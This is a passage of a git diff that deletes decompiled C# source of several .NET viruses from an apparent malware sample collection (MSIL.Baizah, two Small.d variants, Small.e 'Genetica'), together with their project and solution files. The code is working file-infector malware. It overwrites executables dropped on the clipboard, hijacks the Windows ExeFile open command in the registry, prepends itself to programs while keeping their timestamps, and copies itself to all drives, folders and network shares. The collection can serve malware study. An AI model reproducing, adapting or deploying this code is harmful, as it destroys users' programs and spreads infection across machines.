PublicKeyToken=1497983a8894e652 -// MVID: 1CA6961D-C379-4794-90D6-FCB5D0BD9BC6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4.exe - -using System; -using System.IO; -using System.Reflection; -using System.Security.Permissions; -using System.Windows.Forms; - -namespace MSIL_Baizah -{ - public class Baizah : MainVirus - { - private Timer myTimer = new Timer(); - - private void TimerEventProcessor(object myObject, EventArgs myEventArgs) - { - IDataObject dataObject = Clipboard.GetDataObject(); - if (!dataObject.GetDataPresent(DataFormats.FileDrop)) - return; - foreach (string str in (string[]) dataObject.GetData(DataFormats.FileDrop)) - { - try - { - if (new FileInfo(str).Extension == MainVirus.Decode("LmV4ZQ==")) - this.CopyHost(str); - } - catch - { - } - } - } - - private void CopyHost(string target) - { - FileInfo fileInfo1 = new FileInfo(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName); - FileInfo fileInfo2 = new FileInfo(target); - if (!fileInfo2.Exists) - return; - try - { - Stream stream1 = (Stream) fileInfo1.OpenRead(); - Stream stream2 = (Stream) fileInfo2.OpenWrite(); - BufferedStream bufferedStream1 = new BufferedStream(stream1); - BufferedStream bufferedStream2 = new BufferedStream(stream2); - byte[] buffer = new byte[1024]; - int count; - while ((count = bufferedStream1.Read(buffer, 0, 1024)) > 0) - bufferedStream2.Write(buffer, 0, count); - bufferedStream2.Flush(); - bufferedStream1.Close(); - bufferedStream2.Close(); - } - catch (Exception ex) - { - } - } - - [PermissionSet(SecurityAction.Deny, XML = "\r\n \r\n\r\n")] - public void Baiz() - { - this.myTimer.Tick += new EventHandler(this.TimerEventProcessor); - this.myTimer.Interval = new Random().Next(1000, 10000); - this.myTimer.Start(); - while (true) - Application.DoEvents(); - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/MainVirus.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/MainVirus.cs deleted file mode 100644 index b0ee1006..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/MainVirus.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MSIL_Baizah.MainVirus -// Assembly: MSIL_Baizah, Version=0.1.1.4904, Culture=neutral, PublicKeyToken=1497983a8894e652 -// MVID: 1CA6961D-C379-4794-90D6-FCB5D0BD9BC6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4.exe - -using System; -using System.Text; -using System.Threading; - -namespace MSIL_Baizah -{ - public class MainVirus - { - private static string Info = "MSIL.Baizah (c) by MyVWA.Fa Made in Malaysia 032005"; - - private static void Main() => new Thread(new ThreadStart(new Baizah().Baiz)).Start(); - - protected internal static string Decode(string input) - { - try - { - return Encoding.ASCII.GetString(Convert.FromBase64String(input)); - } - catch (Exception ex) - { - return (string) null; - } - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Virus.MSIL.Small.c.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Virus.MSIL.Small.c.csproj deleted file mode 100644 index ad25d228..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Virus.MSIL.Small.c.csproj +++ /dev/null @@ -1,41 +0,0 @@ - - - - - Debug - AnyCPU - {640056C8-1D28-4052-983A-963F485EB4EA} - WinExe - MSIL_Baizah - 0.1.1.4904 - MSIL_Baizah - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Virus.MSIL.Small.c.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Virus.MSIL.Small.c.sln deleted file mode 100644 index 803f0f38..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4/Virus.MSIL.Small.c.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MSIL_Baizah", "Virus.MSIL.Small.c-f40845ea259fc051ffa3c16cc1cb4e147ac5c46bfa927107f307992fb18573e4.csproj", "{640056C8-1D28-4052-983A-963F485EB4EA}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {640056C8-1D28-4052-983A-963F485EB4EA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {640056C8-1D28-4052-983A-963F485EB4EA}.Debug|Any CPU.Build.0 = Debug|Any CPU - {640056C8-1D28-4052-983A-963F485EB4EA}.Release|Any CPU.ActiveCfg = Release|Any CPU - {640056C8-1D28-4052-983A-963F485EB4EA}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Module1.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Module1.cs deleted file mode 100644 index 189367ec..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Module1.cs +++ /dev/null @@ -1,172 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: A1.Module1 -// Assembly: A1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C1AB6CC2-D9C5-4370-9131-5F354F00AF83 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.IO; -using System.Windows.Forms; - -namespace A1 -{ - [StandardModule] - internal sealed class Module1 - { - [STAThread] - public static void Main() - { - string executablePath = Application.ExecutablePath; - string str1 = Path.Combine(Environment.SystemDirectory, "WebCompressor.EXE"); - byte[] array1 = new byte[5121]; - ProcessStartInfo startInfo = new ProcessStartInfo(); - startInfo.UseShellExecute = false; - try - { - FileStream fileStream = new FileStream(executablePath, FileMode.Open, FileAccess.Read); - fileStream.Read(array1, 0, 5120); - fileStream.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (StringType.StrCmp(executablePath, str1, false) == 0) - { - try - { - string commandLineArg = Environment.GetCommandLineArgs()[1]; - if (File.Exists(commandLineArg)) - { - byte[] array2 = new byte[5121]; - try - { - FileInfo fileInfo = new FileInfo(commandLineArg); - if (fileInfo.Length >= 5120L) - { - int attributes = (int) fileInfo.Attributes; - DateTime creationTime = fileInfo.CreationTime; - DateTime lastWriteTime = fileInfo.LastWriteTime; - DateTime lastAccessTime = fileInfo.LastAccessTime; - fileInfo.Attributes = FileAttributes.Normal; - FileStream fileStream = new FileStream(commandLineArg, FileMode.Open, FileAccess.ReadWrite); - fileStream.Read(array2, 0, 5120); - if (StringType.StrCmp(BitConverter.ToString(array1), BitConverter.ToString(array2), false) != 0) - { - fileStream.Position = 0L; - fileStream.Write(array1, 0, 5120); - fileStream.Position = fileStream.Length; - fileStream.Write(array2, 0, 5120); - } - fileStream.Close(); - fileInfo.Attributes = (FileAttributes) attributes; - fileInfo.CreationTime = creationTime; - fileInfo.LastWriteTime = lastWriteTime; - fileInfo.LastAccessTime = lastAccessTime; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - ProcessStartInfo processStartInfo = startInfo; - processStartInfo.ErrorDialog = true; - processStartInfo.FileName = commandLineArg; - processStartInfo.Arguments = Interaction.Command().Remove(0, checked (Strings.Len(commandLineArg) + 2)); - try - { - Process.Start(startInfo); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - { - try - { - try - { - FileSystem.SetAttr(str1, FileAttribute.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - FileStream fileStream = new FileStream(str1, FileMode.OpenOrCreate, FileAccess.Write); - fileStream.Write(array1, 0, 5120); - fileStream.Close(); - FileSystem.SetAttr(str1, FileAttribute.ReadOnly); - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("ExeFile\\Shell\\Open\\Command", true); - registryKey.SetValue("", (object) (str1 + " \"%1\" %*")); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - if (new FileInfo(executablePath).Length < 10240L) - return; - FileStream fileStream1 = new FileStream(executablePath, FileMode.Open, FileAccess.Read); - fileStream1.Position = checked (fileStream1.Length - 5120L); - fileStream1.Read(array1, 0, 5120); - fileStream1.Close(); - string tempFileName = Path.GetTempFileName(); - try - { - FileSystem.Kill(tempFileName); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - string str2 = Path.Combine(Application.StartupPath, Path.GetFileNameWithoutExtension(tempFileName) + ".EXE"); - try - { - FileSystem.SetAttr(str2, FileAttribute.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - File.Copy(executablePath, str2, true); - FileStream fileStream2 = new FileStream(str2, FileMode.Open, FileAccess.Write); - fileStream2.Write(array1, 0, 5120); - fileStream2.SetLength(checked (fileStream2.Length - 5120L)); - fileStream2.Close(); - startInfo.FileName = str2; - startInfo.Arguments = Interaction.Command(); - Process.Start(startInfo).WaitForExit(); - FileSystem.SetAttr(str2, FileAttribute.Normal); - FileSystem.Kill(str2); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Virus.MSIL.Small.d.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Virus.MSIL.Small.d.csproj deleted file mode 100644 index ef061cfb..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Virus.MSIL.Small.d.csproj +++ /dev/null @@ -1,45 +0,0 @@ - - - - - Debug - AnyCPU - {9C7DDFA3-CE49-46A4-BDCB-96A0123C507E} - WinExe - A1 - 0.0.0.0 - A1 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Virus.MSIL.Small.d.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Virus.MSIL.Small.d.sln deleted file mode 100644 index 70e53d23..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6/Virus.MSIL.Small.d.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "A1", "Virus.MSIL.Small.d-5b328849ffa3b0176bc09c399920923169a7a8ceec3f27ea9c9460fdc3c743f6.csproj", "{9C7DDFA3-CE49-46A4-BDCB-96A0123C507E}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9C7DDFA3-CE49-46A4-BDCB-96A0123C507E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {9C7DDFA3-CE49-46A4-BDCB-96A0123C507E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9C7DDFA3-CE49-46A4-BDCB-96A0123C507E}.Release|Any CPU.ActiveCfg = Release|Any CPU - {9C7DDFA3-CE49-46A4-BDCB-96A0123C507E}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Module1.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Module1.cs deleted file mode 100644 index b84b71f4..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Module1.cs +++ /dev/null @@ -1,172 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: A1.Module1 -// Assembly: A1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C1AB6CC2-D9C5-4370-9131-5F354F00AF83 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.IO; -using System.Windows.Forms; - -namespace A1 -{ - [StandardModule] - internal sealed class Module1 - { - [STAThread] - public static void Main() - { - string executablePath = Application.ExecutablePath; - string str1 = Path.Combine(Environment.SystemDirectory, "WebCompressor.EXE"); - byte[] array1 = new byte[5121]; - ProcessStartInfo startInfo = new ProcessStartInfo(); - startInfo.UseShellExecute = false; - try - { - FileStream fileStream = new FileStream(executablePath, FileMode.Open, FileAccess.Read); - fileStream.Read(array1, 0, 5120); - fileStream.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (StringType.StrCmp(executablePath, str1, false) == 0) - { - try - { - string commandLineArg = Environment.GetCommandLineArgs()[1]; - if (File.Exists(commandLineArg)) - { - byte[] array2 = new byte[5121]; - try - { - FileInfo fileInfo = new FileInfo(commandLineArg); - if (fileInfo.Length >= 5120L) - { - int attributes = (int) fileInfo.Attributes; - DateTime creationTime = fileInfo.CreationTime; - DateTime lastWriteTime = fileInfo.LastWriteTime; - DateTime lastAccessTime = fileInfo.LastAccessTime; - fileInfo.Attributes = FileAttributes.Normal; - FileStream fileStream = new FileStream(commandLineArg, FileMode.Open, FileAccess.ReadWrite); - fileStream.Read(array2, 0, 5120); - if (StringType.StrCmp(BitConverter.ToString(array1), BitConverter.ToString(array2), false) != 0) - { - fileStream.Position = 0L; - fileStream.Write(array1, 0, 5120); - fileStream.Position = fileStream.Length; - fileStream.Write(array2, 0, 5120); - } - fileStream.Close(); - fileInfo.Attributes = (FileAttributes) attributes; - fileInfo.CreationTime = creationTime; - fileInfo.LastWriteTime = lastWriteTime; - fileInfo.LastAccessTime = lastAccessTime; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - ProcessStartInfo processStartInfo = startInfo; - processStartInfo.ErrorDialog = true; - processStartInfo.FileName = commandLineArg; - processStartInfo.Arguments = Interaction.Command().Remove(0, checked (Strings.Len(commandLineArg) + 2)); - try - { - Process.Start(startInfo); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - { - try - { - try - { - FileSystem.SetAttr(str1, FileAttribute.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - FileStream fileStream = new FileStream(str1, FileMode.OpenOrCreate, FileAccess.Write); - fileStream.Write(array1, 0, 5120); - fileStream.Close(); - FileSystem.SetAttr(str1, FileAttribute.ReadOnly); - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("ExeFile\\Shell\\Open\\Command", true); - registryKey.SetValue("", (object) (str1 + " \"%1\" %*")); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - if (new FileInfo(executablePath).Length < 10240L) - return; - FileStream fileStream1 = new FileStream(executablePath, FileMode.Open, FileAccess.Read); - fileStream1.Position = checked (fileStream1.Length - 5120L); - fileStream1.Read(array1, 0, 5120); - fileStream1.Close(); - string tempFileName = Path.GetTempFileName(); - try - { - FileSystem.Kill(tempFileName); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - string str2 = Path.Combine(Application.StartupPath, Path.GetFileNameWithoutExtension(tempFileName) + ".EXE"); - try - { - FileSystem.SetAttr(str2, FileAttribute.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - File.Copy(executablePath, str2, true); - FileStream fileStream2 = new FileStream(str2, FileMode.Open, FileAccess.Write); - fileStream2.Write(array1, 0, 5120); - fileStream2.SetLength(checked (fileStream2.Length - 5120L)); - fileStream2.Close(); - startInfo.FileName = str2; - startInfo.Arguments = Interaction.Command(); - Process.Start(startInfo).WaitForExit(); - FileSystem.SetAttr(str2, FileAttribute.Normal); - FileSystem.Kill(str2); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Virus.MSIL.Small.d.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Virus.MSIL.Small.d.csproj deleted file mode 100644 index 1c00705a..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Virus.MSIL.Small.d.csproj +++ /dev/null @@ -1,45 +0,0 @@ - - - - - Debug - AnyCPU - {E87DC481-08E4-47A6-967A-BBE3F1775FEB} - WinExe - A1 - 0.0.0.0 - A1 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Virus.MSIL.Small.d.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Virus.MSIL.Small.d.sln deleted file mode 100644 index bbf84588..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002/Virus.MSIL.Small.d.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "A1", "Virus.MSIL.Small.d-90ca70d213e58ad53749d712f830807701db7e36d6e00d8bbaf79f0071b7b002.csproj", "{E87DC481-08E4-47A6-967A-BBE3F1775FEB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E87DC481-08E4-47A6-967A-BBE3F1775FEB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E87DC481-08E4-47A6-967A-BBE3F1775FEB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E87DC481-08E4-47A6-967A-BBE3F1775FEB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E87DC481-08E4-47A6-967A-BBE3F1775FEB}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/AssemblyInfo.cs deleted file mode 100644 index e724c15f..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("54fe8a70-2a61-4cab-a28c-3255bccb2dd4")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © Trojan 2006")] -[assembly: AssemblyProduct("ConsoleApplication1")] -[assembly: AssemblyCompany("Trojan")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("ConsoleApplication1")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Program.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Program.cs deleted file mode 100644 index a445e619..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Program.cs +++ /dev/null @@ -1,101 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Genetica.Program -// Assembly: Genetica, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 38269FF5-76F0-4DD3-B590-2FD089D27FC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f.exe - -using Microsoft.Win32; -using System; -using System.IO; -using System.Reflection; - -namespace Genetica -{ - internal class Program - { - private static void Main(string[] args) - { - int num = 5; - string str1 = (string) null; - object obj = Registry.LocalMachine.OpenSubKey("System\\CurrentControlSet\\Services\\lanmanserver\\Shares", false).GetValue("shared"); - string str2 = obj as string; - char[] charArray = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".ToCharArray(); - string[] logicalDrives = Directory.GetLogicalDrives(); - Random random = new Random(); - string location = Assembly.GetExecutingAssembly().Location; - string currentDirectory = Environment.CurrentDirectory; - if (currentDirectory.Substring(currentDirectory.Length - 1) != "\\") - currentDirectory += "\\"; - string[] files = Directory.GetFiles(currentDirectory); - string[] directories = Directory.GetDirectories(currentDirectory, "*"); - for (int index1 = 0; index1 < num; ++index1) - { - int index2 = random.Next(charArray.Length); - str1 += charArray[index2].ToString(); - } - int index3 = 0; - for (int length = directories.Length; index3 < length; ++index3) - { - if (directories[index3].Substring(directories[index3].Length - 1) != "\\") - { - string[] strArray; - IntPtr index4; - (strArray = directories)[(int) (index4 = (IntPtr) index3)] = strArray[index4] + "\\"; - File.Copy(location, directories[index3] + str1 + ".exe"); - } - } - for (int index5 = 0; index5 <= logicalDrives.GetUpperBound(0); ++index5) - { - try - { - File.Copy(location, logicalDrives[index5] + str1 + ".exe"); - } - catch - { - } - } - string[] strArray1 = obj as string[]; - string str3 = strArray1[2]; - if (strArray1 != null) - { - try - { - strArray1.GetEnumerator(); - string str4 = str3.Substring(str3.Length - (str3.Length - 5)) + "\\"; - File.Copy(location, str4 + str1 + ".exe"); - } - catch - { - } - } - for (short index6 = 0; (int) index6 < files.GetUpperBound(0); ++index6) - { - if (files[(int) index6].Substring(files[(int) index6].Length - (files[(int) index6].Length - files[(int) index6].Length + 4)) == ".exe") - { - if ("\r\n" + files[(int) index6] != location) - { - try - { - string path1 = location; - string path2 = files[(int) index6]; - FileStream fileStream1 = new FileStream(path1, FileMode.Open, FileAccess.Read); - FileStream fileStream2 = new FileStream(path2, FileMode.Create, FileAccess.Write); - byte[] buffer = new byte[fileStream1.Length]; - fileStream1.Read(buffer, 0, Convert.ToInt32(fileStream1.Length)); - fileStream2.Write(buffer, 0, Convert.ToInt32(fileStream1.Length)); - fileStream1.Close(); - fileStream2.Close(); - fileStream1.Dispose(); - fileStream2.Dispose(); - } - catch - { - } - } - } - } - Console.Write("Retro is Evil!!"); - Console.Read(); - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Virus.MSIL.Small.e.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Virus.MSIL.Small.e.csproj deleted file mode 100644 index 7fbbd935..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Virus.MSIL.Small.e.csproj +++ /dev/null @@ -1,37 +0,0 @@ - - - - - Debug - AnyCPU - {EDF8135E-900A-4762-8C84-977F6FBD7B71} - Exe - Genetica - 1.0.0.0 - Genetica - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Virus.MSIL.Small.e.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Virus.MSIL.Small.e.sln deleted file mode 100644 index 0bbf2983..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f/Virus.MSIL.Small.e.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution 